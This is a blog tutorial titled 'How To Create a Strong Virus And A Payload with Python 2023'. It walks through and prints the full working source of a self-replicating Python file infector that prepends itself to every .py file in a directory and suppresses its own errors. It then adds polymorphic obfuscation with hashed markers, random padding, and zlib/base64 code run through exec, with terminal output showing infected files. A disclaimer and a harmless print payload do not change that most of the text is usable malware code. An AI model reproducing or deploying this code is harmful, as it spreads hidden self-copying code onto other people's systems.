Skip to main content

How To Create a Strong Virus And A Payload with Python 2023


Let’s start by saying that viruses are a little bit anachronistic in 2023… nowadays other kinds of  malware (like
worms for example:) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.
Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.
That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.

This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME !


What is a Computer Virus?

A Computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.
That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.

Usually, A computer virus does is made by three parts:

1. The infection vector: this part is responsible to find a target and propagates to this target

2. The trigger: this is the condition that once met execute the payload

3. The payload: the malicious function that the virus carries around

We will See the the full Source code later in this post


Lets Begin:

1 try :
2 # retrieve the virus code from the current infected script
3 virus_code = get_virus_code()
4
5 # look for other files to infect
6 for file in find_files_to_infect():
7 infect(file, virus_code)
8
9 # call the payload
10 summon_chaos()
11
12 # except:
13 #     pass
14
15 finally :
16 # delete used names from memory
17 for i in list( globals () . keys()):
18 if (i[ 0 ] != '_' ):
19 exec( 'del {}' . format(i))
20
21 del i


Code Review:

First of all, we call the
get_virus_code() function, which returns the source code of the virus taken from the current script.
Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection.

After the infection took place, we just call the summon_chaos() function, that is - as suggested by its name - the payload function with the malware code.

That’s it, quite simple uh?
Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block.

The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.
Okay, now we need to implement the stub functions we have just created! :)
Let’s start with the first one: the
get_virus_code() function.
To get the current virus code, we will simply read the current script and get what we find between two defined comments.


For Example:

1 def get_content_of_file (file):
2 data = None
3 with open(file, "r" ) as my_file:
4 data = my_file . readlines()
5
6 return data
7
8 def get_virus_code ():
9
10 virus_code_on = False
11 virus_code = []
12
13 code = get_content_of_file(__file__)
14
15 for line in code:
16 if "# begin-virus\n" in line:
17 virus_code_on = True
18
19 if virus_code_on:
20 virus_code . append(line)
21
22 if "# end-virus\n" in line:
23 virus_code_on =
False
24 break
25
26 return virus_code


Code Review:


find_files_to_infect() function.
Here we will write a simple function that returns all the *.py files in the current directory. 
Easy enough to be tested and… safe enough so as not to damage our current system! :)


1 import glob
2
3 def find_files_to_infect (directory = "." ):
4 return [file for file in glob
.glob( "*.py" )]


And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:


1 def get_content_if_infectable (file):
2 data = get_content_of_file(file)
3 for line in data:
4 if "# begin-virus" in line:
5 return None
6 return data
7
8 def infect (file, virus_code):
9 if (data := get_content_if_infectable(file)):
10 with open(file, "w" ) as infected_file:
11 infected_file.write("" . join(virus_code))
12 infected_file.writelines(data)


Note: Please guys tell me what you think about the backgroud. Do you guys prefer black background with green text or white background with black text like this one below please tell me in the comment section

Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.

1 def summon_chaos ():
2 # the virus payload
3 print( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )

Ok, our virus is ready! As i promise  Let’s see the full source code:



1 # begin-virus
2
3 import glob
4
5 def find_files_to_infect (directory = "." ):
6 return [file for file in glob . glob( "*.py" )]
7
8 def get_content_of_file (file):
9 data = None
10 with open(file, "r" ) as my_file:
11 data = my_file . readlines()
12
13 return data
14
15 def get_content_if_infectable (file):
16 data = get_content_of_file(file)
17 for line in data:
18 if "# begin-virus" in line:
19 return None
20 return data
21
22 def infect (file, virus_code):
23 if (data := get_content_if_infectable(file)):
24 with open(file, "w" ) as infected_file:
25 infected_file . write(
"" . join(virus_code))
26 infected_file .
writelines(data)
27
28 def get_virus_code ():
29
30 virus_code_on = False
31 virus_code = []
32
33 code = get_content_of_file(__file__)
34
35 for line in code:
36 if "# begin-virus\n" in line:
37 virus_code_on = True
38
39 if virus_code_on:
40 virus_code . append(line)
41
42 if "# end-virus\n" in line:
43 virus_code_on =
False
44 break
45
46 return virus_code
47
48 def summon_chaos ():
49 # the virus payload
50 print ( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )
51
52 # entry point
53
54 try :
55 # retrieve the virus code from the current infected script
56 virus_code = get_virus_code()
57
58 # look for other files to infect
59 for file in find_files_to_infect():
60 infect(file, virus_code)
61
62 # call the payload
63 summon_chaos()
64
65 # except:
66 #     pass
67
68 finally :
69 # delete used names from memory
70 for i in list( globals () . keys()):
71 if (i[ 0 ] != '_' ):
72 exec( 'del {}' . format(i))
73
74 del i
75
76 # end-virus

Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named
[numbers.py](http://numbers.py) that returns some random numbers, like this:


1 # numbers.py
2
3 import random
4
5 random .seed()
6
7 for _ in range ( 10 ):
8 print (random . randint( 0 ,100 ))



When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!
Now, in the same directory, I have my virus. Let’s execute it:


1 /playgrounds/python/first ❯ python ./first.py                  02:30:42 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured


As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our
[numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now.


1 # begin-virus
2
3 import glob
4
5 def find_files_to_infect (directory = "." ):
6 return [file for file in glob . glob( "*.py" )]
7
8 def get_content_of_file (file):
9 data = None
10 with open(file, "r" ) as my_file:
11 data = my_file . readlines()
12
13 return data
14
15 def get_content_if_infectable (file):
16 data = get_content_of_file(file)
17 for line in data:
18 if "# begin-virus" in line:
19 return None
20 return data
21
22 def infect (file, virus_code):
23 if (data := get_content_if_infectable(file)):
24 with open(file, "w" ) as infected_file:
25 infected_file . write(
"" . join(virus_code))
26 infected_file .
writelines(data)
27
28 def get_virus_code ():
29
30 virus_code_on = False
31 virus_code = []
32
33 code = get_content_of_file(__file__)
34
35 for line in code:
36 if "# begin-virus\n" in line:
37 virus_code_on = True
38
39 if virus_code_on:
40 virus_code . append(line)
41
42 if "# end-virus\n" in line:
43 virus_code_on =
False
44 break
45
46 return virus_code
47
48 def summon_chaos ():
49 # the virus payload
50 print ( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )
51
52 # entry point
53
54 try :
55 # retrieve the virus code from the current infected script
56 virus_code = get_virus_code()
57
58 # look for other files to infect
59 for file in find_files_to_infect():
60 infect(file, virus_code)
61
62 # call the payload
63 summon_chaos()
64
65 # except:
66 #     pass
67
68 finally :
69 # delete used names from memory
70 for i in list( globals () . keys()):
71 if (i[ 0 ] != '_' ):
72 exec( 'del {}' . format(i))
73
74 del i
75
76 # end-virus
77 # numbers.py
78
79 import random
80
81 random . seed()
82
83 for _ in range ( 10 ):
84 print (random .randint( 0, 100 ))


And as expected, now we have our virus before the real code.
Let’s create another .py file in the same directory, just a simple “hello world” program:


1 /playgrounds/python/first ❯ echo
'print("hello world")' > hello.py


and now, let’s execute the [numbers.py](http://numbers.py) program:

1 /playgrounds/python/first ❯ python numbers.py                  02:35:12 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured
4 35
5 43
6 89
7 37
8 92
9 71
10 4
11 21
12 83
13 47


As you can see, the program still does whatever it was expected to do (extract some random numbers) but only after having executed our virus, which has spread to other *.py files in the same directory and has executed the payload function. Now, if you look at the
[hello.py](http://hello.py) file, you will see that it has been infected as well, as we can see running it:



Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus , right?
So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.
For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?

Our virus could start with something like 
# begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.

So our get_content_if_infectable() function could be modified like this:
Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

and also the get_virus_code() function should be modified to look for the current script hash:

And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?

Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. We could just pass our plain text virus to a new
transform_and_obscure_virus_code() function like this:

Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:

The complete source code of our new virus could be similar to this:
Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py) , and let’s see what happens.


Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is
[numbers.py](http://numbers.py) :

and this is
Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)
Happy coding!
D. 1 try :
2 # retrieve the virus code from the current infected script
3 virus_code = get_virus_code()
4
5 # look for other files to infect
6 for file in find_files_to_infect():
7 infect(file, virus_code)
8
9 # call the payload
10 summon_chaos()
11
12 # except:
13 #     pass
14
15 finally :
16 # delete used names from memory
17 for i in list( globals () . keys()):
18 if (i[ 0 ] != '_' ):
19 exec( 'del {}' . format(i))
20
21 del i
1 def get_content_of_file (file):
2 data = None
3 with open(file, "r" ) as my_file:
4 data = my_file . readlines()
5
6 return data
7
8 def get_virus_code ():
9
10 virus_code_on = False
11 virus_code = []
12
13 code = get_content_of_file(__file__)
14
15 for line in code:
16 if "# begin-virus\n" in line:
17 virus_code_on = True
18
19 if virus_code_on:
20 virus_code . append(line)
21
22 if "# end-virus\n" in line:
23 virus_code_on =
False
24 break
25
26 return virus_code


1 import glob
2
3 def find_files_to_infect (directory = "." ):
4 return [file for file in glob
.glob( "*.py" )]


1 def get_content_if_infectable (file):
2 data = get_content_of_file(file)
3 for line in data:
4 if "# begin-virus" in line:
5 return None
6 return data
7
8 def infect (file, virus_code):
9 if (data := get_content_if_infectable(file)):
10 with open(file, "w" ) as infected_file:
11 infected_file . write(
"" . join(virus_code))
12 infected_file .
writelines(data)


1 def summon_chaos ():
2 # the virus payload
3 print( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )


1 # begin-virus
2
3 import glob
4
5 def find_files_to_infect (directory = "." ):
6 return [file for file in glob . glob( "*.py" )]
7
8 def get_content_of_file (file):
9 data = None
10 with open(file, "r" ) as my_file:
11 data = my_file . readlines()
12
13 return data
14
15 def get_content_if_infectable (file):
16 data = get_content_of_file(file)
17 for line in data:
18 if "# begin-virus" in line:
19 return None
20 return data
21
22 def infect (file, virus_code):
23 if (data := get_content_if_infectable(file)):
24 with open(file, "w" ) as infected_file:
25 infected_file . write(
"" . join(virus_code))
26 infected_file .
writelines(data)
27
28 def get_virus_code ():
29
30 virus_code_on = False
31 virus_code = []
32
33 code = get_content_of_file(__file__)
34
35 for line in code:
36 if "# begin-virus\n" in line:
37 virus_code_on = True
38
39 if virus_code_on:
40 virus_code . append(line)
41
42 if "# end-virus\n" in line:
43 virus_code_on =
False
44 break
45
46 return virus_code
47
48 def summon_chaos ():
49 # the virus payload
50 print ( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )
51
52 # entry point
53
54 try :
55 # retrieve the virus code from the current infected script
56 virus_code = get_virus_code()
57
58 # look for other files to infect
59 for file in find_files_to_infect():
60 infect(file, virus_code)
61
62 # call the payload
63 summon_chaos()
64
65 # except:
66 #     pass
67
68 finally :
69 # delete used names from memory
70 for i in list( globals () . keys()):
71 if (i[ 0 ] != '_' ):
72 exec( 'del {}' . format(i))
73
74 del i
75
76 # end-virus


1 # numbers.py
2
3 import random
4
5 random .seed()
6
7 for _ in range ( 10 ):
8 print (random . randint( 0 ,100 ))
9


1 /playgrounds/python/first ❯ python ./first.py                  02:30:42 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured


1 # begin-virus
2
3 import glob
4
5 def find_files_to_infect (directory = "." ):
6 return [file for file in glob . glob( "*.py" )]
7
8 def get_content_of_file (file):
9 data = None
10 with open(file, "r" ) as my_file:
11 data = my_file . readlines()
12
13 return data
14
15 def get_content_if_infectable (file):
16 data = get_content_of_file(file)
17 for line in data:
18 if "# begin-virus" in line:
19 return None
20 return data
21
22 def infect (file, virus_code):
23 if (data := get_content_if_infectable(file)):
24 with open(file, "w" ) as infected_file:
25 infected_file . write(
"" . join(virus_code))
26 infected_file .
writelines(data)
27
28 def get_virus_code ():
29
30 virus_code_on = False
31 virus_code = []
32
33 code = get_content_of_file(__file__)
34
35 for line in code:
36 if "# begin-virus\n" in line:
37 virus_code_on = True
38
39 if virus_code_on:
40 virus_code . append(line)
41
42 if "# end-virus\n" in line:
43 virus_code_on =
False
44 break
45
46 return virus_code
47
48 def summon_chaos ():
49 # the virus payload
50 print ( "We are sick, fucked up and complicated\nWe are chaos, we can't be cured" )
51
52 # entry point
53
54 try :
55 # retrieve the virus code from the current infected script
56 virus_code = get_virus_code()
57
58 # look for other files to infect
59 for file in find_files_to_infect():
60 infect(file, virus_code)
61
62 # call the payload
63 summon_chaos()
64
65 # except:
66 #     pass
67
68 finally :
69 # delete used names from memory
70 for i in list( globals () . keys()):
71 if (i[ 0 ] != '_' ):
72 exec( 'del {}' . format(i))
73
74 del i
75
76 # end-virus
77 # numbers.py
78
79 import random
80
81 random . seed()
82
83 for _ in range ( 10 ):
84 print (random .randint( 0, 100 ))


1 /playgrounds/python/first ❯ echo
'print("hello world")' > hello.py
1 /playgrounds/python/first ❯ python numbers.py                  02:35:12 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured
4 35
5 43
6 89
7 37
8 92
9 71
10 4
11 21
12 83
13 47


1 /playgrounds/python/first ❯ python hello.py                  02:40:01 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured
4 hello world

Trying to hide the virus code a little more 

Now, even if this virus could be potentially dangerous, it is easily detectable. You don’t have to be Sherlock Holmes to recognize a virus that is written in plain text and starts with # begin-virus , right?

So what can we do to make it a little harder to find?

Not much more, since we’re writing it in Python and Python is an interpreted language… however, maybe we can still do something.

For example, wouldn’t it be better if we could consider as infected any single file that contains the md5 hash of its name as a comment?


Our virus could start with something like # begin-78ea1850f48d1c1802f388db81698fd0 and end with something like # end-78ea1850f48d1c1802f388db81698fd0 and that would be different for any infected file, making it more difficult to find all the infected files on the system.
So our get_content_if_infectable() function could be modified like this:


1 def get_content_if_infectable (file, hash ):
2 # return the content of a file only if it hasn't been infected yet
3 data = get_content_of_file(file)
4
5 for line in data:
6 if hash in line:
7 return None
8
9 return data

Obviously, before calling it you should calculate the hash of the file you’re going to infect like this:

1 hash = hashlib . md5(file . encode( "utf-8" )) . hexdigest()

and also the get_virus_code() function should be modified to look for the current script hash:


1 def get_virus_code ():
2 # open the current file and returns the virus code, that is the code between the
3 # begin-{hash} and the end-{hash} tags
4 virus_code_on = False
5 virus_code = []
6
7 virus_hash = hashlib . md5(os .
path . basename(__file__) . encode( "utf-8" )) . hexdigest()
8 code = get_content_of_file(__file__)
9
10 for line in code:
11 if "# begin-" + virus_hash
in line:
12 virus_code_on = True
13
14 if virus_code_on:
15 virus_code . append(line + "
\n" )
16
17 if "# end-" + virus_hash in line:
18 virus_code_on = False
19 break
20
21 return virus_code


And what about our virus source code? Can it be obfuscated somehow to be a little less easy to spot?
Well, we could try to obscure it by making it different every time we infect a new file, then we can compress it by using the zlib library and converting it in base64 format. 
We could just pass our plain text virus to a new
transform_and_obscure_virus_code() function like this:


1 def obscure (data: bytes ) ->
bytes :
2 # obscure a stream of bytes compressing it and encoding it in base64
3 return base64 . urlsafe_b64encode(zlib . compress(data, 9 ))
4
5 def transform_and_obscure_virus_code(virus_code):
6 # transforms the virus code adding some randomic contents, compressing it and converting it in base64
7 new_virus_code = []
8 for line in virus_code:
9 new_virus_code . append( "# " +
str (random .randrange( 1000000 )) + "\n"
)
10 new_virus_code . append(line +
"\n" )
11
12 obscured_virus_code = obscure(
bytes ("" . join(new_virus_code), 'utf-8' ))
13 return obscured_virus_code


Obviously, when you obscure your virus compressing it and encoding it in base64 the code is not executable anymore, so you will have to transform it to the original state before executing it. This will be done in the infect method, by using the exec statement like this:



1 def infect (file, virus_code ) :
2 # infect a single file. The routine opens the file and if it's not been infected yet, infect the file with a custom version of the virus code
3 hash = hashlib.md5 (file.encode
("utf-8" )) .hexdigest ()
4
5 if ( data:= get_content_if_infectable ( file, hash)) :
6 obscured_virus_code = transform_and_obscure_virus_code (
virus_code )
7 viral_vector = "exec(\"import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode(" +str ( obscured_virus_code ) +
")))\")"
8
9 with open ( file, "w" ) as infected_file:
10 infected_file.write ( "\n# begin-" + hash + "\n" + viral_vector + "\n# end-" + hash + "\n" )
11 infected_file.writelines (
data )

The complete source code of our new virus could be similar to this:

1 # ################
2 # chaos.py
3 # a Python virus
4 # ###############
5
6 # begin-78ea1850f48d1c1802f388db81698fd0
7
8 import base64
9 import glob
10 import hashlib
11 import inspect
12 import os
13 import random
14 import zlib
15
16 def get_content_of_file (file):
17 data = None
18 # return the content of a file
19 with open(file, "r" ) as my_file:
20 data = my_file .readlines()
21
22 return data
23
24 def get_content_if_infectable (file, hash ):
25 # return the content of a file only if it hasn't been infected yet
26 data = get_content_of_file(file)
27
28 for line in data:
29 if hash in line:
30 return None
31
32 return data
33
34 def obscure (data: bytes ) ->
bytes :
35 # obscure a stream of bytescompressing it and encoding it in base64
36 return base64 . urlsafe_b64encode(zlib . compress(data, 9 ))
37
38 def transform_and_obscure_virus_code (virus_code):
39 # transforms the virus codeadding some randomic contents, compressing it and converting it in base64
40 new_virus_code = []
41 for line in virus_code:
42 new_virus_code .append( "# " +
str (random . randrange( 1000000 )) + "\n
")
43 new_virus_code .append(line
+ "\n" )
44
45 obscured_virus_code = obscure(bytes ( "" . join(new_virus_code), 'utf-8' ))
46 return obscured_virus_code
47
48 def find_files_to_infect (directory = "." ):
49 # find other files that can potentially be infected
50 return [file for file in glob
.glob( "*.py" )]
51
52 def summon_chaos ():
53 # the virus payload
54 print ( "We are sick, fucked upand complicated\nWe are chaos, we can't be cured" )
55
56 def infect (file, virus_code):
57 # infect a single file. The routine open the file and if it's not been infected yet, infect the file with a custom version of the virus code
58 hash = hashlib . md5(file .
encode( "utf-8" )) . hexdigest()
59
60 if (data := get_content_if_infectable(file, hash)):
61 obscured_virus_code = transform_and_obscure_virus_code(virus_code)
62 viral_vector = "exec(\"
import zlib\\nimport base64\\nexec(zlib.decompress(base64.urlsafe_b64decode(" + str (obscured_virus_code) +
")))\")"
63
64 with open(file, "w" ) as infected_file:
65 infected_file . write( "\n# begin-" + hash + "\n" + viral_vector
+ "\n# end-" + hash + "\n" )
66 infected_file . writelines(data)
67
68 def get_virus_code ():
69 # open the current file and returns the virus code, that is the code between the
70 # begin-{hash} and the end-{hash} tags
71 virus_code_on = False
72 virus_code = []
73
74 virus_hash = hashlib . md5(os .
path . basename(__file__) . encode( "utf-8" )) . hexdigest()
75 code = get_content_of_file(__file__)
76
77 for line in code:
78 if "# begin-" + virus_hash
in line:
79 virus_code_on = True
80
81 if virus_code_on:
82 virus_code . append(line +
"\n" )
83
84 if "# end-" + virus_hash in
line:
85 virus_code_on = False
86 break
87
88 return virus_code
89
90 # entry point
91
92 try :
93 # retrieve the virus code from the current infected script
94 virus_code = get_virus_code()
95
96 # look for other files to infect
97 for file in find_files_to_infect():
98 infect(file, virus_code)
99
100 # call the payload
101 summon_chaos()
102
103 except :
104 pass
105
106 finally :
107 # delete used names from memory
108 for i in list( globals () . keys()):
109 if (i[ 0 ] != '_' ):
110 exec( 'del {}' .format(i))
111
112 del i
113
114 # end-78ea1850f48d1c1802f388db81698fd0


Now, let’s try this new virus in another directory with the uninfected version of [numbers.py](http://numbers.py) and [hello.py](http://hello.py) , and let’s see what happens.

1 /playgrounds/python/chaos ❯ python chaos.py                  03:09:52 PM
2 We are sick, fucked up and complicated
3 We are chaos, we can't be cured


Executing the virus we have the same behavior as we had before, but our infected files are now a little different than before… This is
[numbers.py](http://numbers.py) 

1 # begin-661bb45509227577d3693829a1e1cb33
2 exec( "import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfi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8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm')))" )
3 # end-661bb45509227577d3693829a1e1cb33
4 # numbers.py
5
6 import random
7
8 random.seed ()
9
10 for _ in range ( 10 ) :
11 print ( random.randint ( 0,100 ))

And this is


1 # begin-8d35108ffe2ad173a697734a3e9938e1
2 exec( "import zlib\nimport base64\nexec(zlib.decompress(base64.urlsafe_b64decode(b'eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46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dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ')))" )
3 # end-8d35108ffe2ad173a697734a3e9938e1
4 print ( "hello world" )


To sum things up
Look at that, it’s not so easy to be read now, right? And every infection is different than the other one! Moreover, every time the infection is propagated, the compressed byte64 virus is compressed and encoded again and again.

And this is just a simple example of what one could do… for example, the virus could open the target and put this piece of code at the beginning of a random function, not always at the beginning of the file, or put it in another file and make just a call to this file with a malicious import statement or so…

In this article, we have seen that writing a computer virus in Python is a trivial operation, and even if it’s probably not the best language to be used for writing viruses… it’s worth keeping your eyes wide open, especially on a production server. :)
Happy coding!












Comments

  1. I suggest you use black background and green text in your codes

    ReplyDelete

Post a Comment

Popular posts from this blog

How To install Kali Linux (nethunter) On Android (Without root) via proot-distro and install Kali Linux Xfce Desktop On Android using Termux

What is kali linux? Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security , This tutorial isn't only about learning how to install Kali Linux. Okay let's run down what we will be doing                        Table Of Content •Installing Kali Linux Terminal •Installing Kali Linux Desktop •Installing Default packages  •Creating vncserver port •Closing vncserver port •Closing multiple vncserver ports  •Reseting Kali Linux •Uninstalling Kali Linux  Okay!!!! Let's Begin Requirements: • Termux  : Click Here To Download Termux   Installation:   Please you can also copy and paste the commands below    The First thing we have to do is to make sure our repositories are up to date, to do that type the command  pkg update   It is essent...

How To install Windows 10 in Termux(Without rooting your Android phone)

   Hello guys what's up, Today we are going to see how easily we can run Windows 10 Operating System on Android Phone just by running few commands on Termux and if you will like this post I will also show you how to run the Windows 8.1 and Kali Linux GUI(Without root) on Android using Termux only in an upcoming post so just comment down below if you are interested. This method is quite interesting as this will make you understand how powerful a Linux terminal can be so without wasting any more time let’s start this tutorial. Below you will find all the resources you need and their download links so Download all the files, install, and copy it to your smartphone's Internal or External Storage. Requirements: •ZArchiver : Click Here To Download ZArchiver • Termux  : Click Here To Download Termux • AVNC :  Click Here To Download AVNC • Windows 10 : Click Here To Download The Windows 10 File After download the windows 10 file you need to Install termux and AVNC server...